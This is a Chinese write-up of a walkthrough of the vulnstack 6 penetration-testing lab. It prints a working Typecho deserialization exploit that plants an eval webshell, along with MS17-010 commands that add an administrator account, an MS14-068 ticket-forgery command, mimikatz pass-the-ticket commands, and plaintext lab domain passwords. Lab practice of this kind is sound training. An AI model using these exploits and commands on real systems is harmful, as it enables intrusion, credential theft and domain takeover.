红日靶场-vulnstack(六)

91

环境搭建

把所有镜像恢复到v3.2快照,原先配置的是nat模拟外网,并且没有给账号密码。根据以往的经验,它的ipv4配置是把ip写死,但是我想在另外一台电脑访问靶机,所以添加了一块桥接网卡。

扫端口发现只开放了80,访问一下

image-1699758669217

看起来需要知道站点文件夹名,但是扫目录也没效果,只能想办法登录进去看看

pe修改密码

微pe做个iso并且在虚拟机设置

image-1699758689069

编辑vmx文件,添加bios.forceSetupOnce = "TRUE" 。开机设置boot,将cdrom提到第一位,进入pe后修改administrator账户的密码。

登录后第一时间看了眼phpstudy的www目录,发现是typecho。访问/typecho

image-1699758717996

快照刚恢复时是有2个已登陆账户,其中一个应该是跑着phpstudy,想办法弄到密码

image-1699758728822

永恒之蓝

给DC这台添加个桥接网卡,用msf的auxiliary/admin/smb/ms17_010_command模块(eternalblue那个没成功)添加账户

net user b1ank 1qaz@WSX /add // 密码不能太简单
net localgroup administrators b1ank /add

上传一个cs马,用管理员身份打开。logonpasswords获取hash和明文密码

其中一个密码可以登录web那台机器,也上传个cs马获取hash(有了密码可以把环境都重置一下)

de1ay\Administrator | 1qaz@WSX1234567890
de1ay\de1ay | 1qaz!QAZ1qaz!QAZ
de1ay\mssql | 1qaz@WSX
de1ay\de2ay | 1qaz@WSX!QAZ2wsx

登录web\de1ay,发现mysql没启动,启动后再次访问/typecho发现还是数据库错误,查看配置文件发现mysql账号密码没问题,于是把config.ini.php删除,访问/install.php重装。又发现某个类报错,只好到typecho下载地址下载源码,替换重装(重装的时候事先在mysql里新建个typecho库)。

外网渗透

typecho有个反序列化可以前台getshell

<?php
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();

        public function __construct()
        {
            $this->_params['screenName'] = 'echo ^<?php @eval($_POST["b1ank"]);?^>>shell.php'; // 执行的参数值
            $this->_filter[0] = 'system'; //filter执行的函数
        }
    }
    class Typecho_Feed{
        const RSS2 = 'RSS 2.0'; //进入toString内部判断条件
        private $_items = array();
        private $_type;
        function __construct()
        {
            $this->_type = self::RSS2;
            $_item['author'] = new Typecho_Request(); //Feed.php文件中触发__get()方法使用的对象
        $_item['category'] = array(new Typecho_Request());//触发错误
            $this->_items[0] = $_item;
        }
    }
    $exp = new Typecho_Feed();
    $a = array(
        'adapter'=>$exp, // Db.php文件中触发__toString()使用的对象
        'prefix' =>'typecho_'
    );
    echo urlencode(base64_encode(serialize($a)));
?>

image-1699758760581

靶机php版本是7.3.4,用不了assert,改为system

image-1699758779653

蚁剑连接后上传并执行cs马

C:\phpstudy_pro\WWW\typecho> .\artifact.exe

内网渗透

搜集一些信息

域: de1ay.com
域用户: administrator、de1ay、de2ay、mssql
WEB/win2008: 192.168.1.106/10.10.10.80
DC/win2012: 10.10.10.10
de2ay: S-1-5-21-2756371121-2868759905-3853650604-4603

mimikatz获取到了de2ay的明文密码,偷一个de2ay的token,试试ms14-068(systeminfo可以查看是否打补丁)

//生成票据
ms14-068.exe -u [email protected] -s S-1-5-21-2756371121-2868759905-3853650604-4603 -d 10.10.10.10 -p 1qaz@WSX!QAZ2wsx

//注入票据
shell C:\phpstudy_pro\WWW\typecho\mimikatz.exe "kerberos::purge" "exit"
shell C:\phpstudy_pro\WWW\typecho\mimikatz.exe "kerberos::list" "exit"
shell C:\phpstudy_pro\WWW\typecho\mimikatz.exe "kerberos::ptc C:\phpstudy_pro\WWW\typecho\[email protected]" "exit"

失败了

image-1699758797336

给msf传个session过去,用永恒之蓝试试

image-1699758814595

失败了,换auxiliary/admin/smb/ms17_010_command,添加个管理员

net user b1ank 1qaz@WSX /add
net localgroup administrators b1ank /add

添加smb监听器,上线cs

image-1699758830421

获取hash

image-1699758843134

image-1699758849937

总结

  • mimikatz单行执行命令时要记得exit
  • Windows server 添加的账户密码不能太简单,不然会导致执行失败

Reference

入门教学 | Typecho反序列化漏洞分析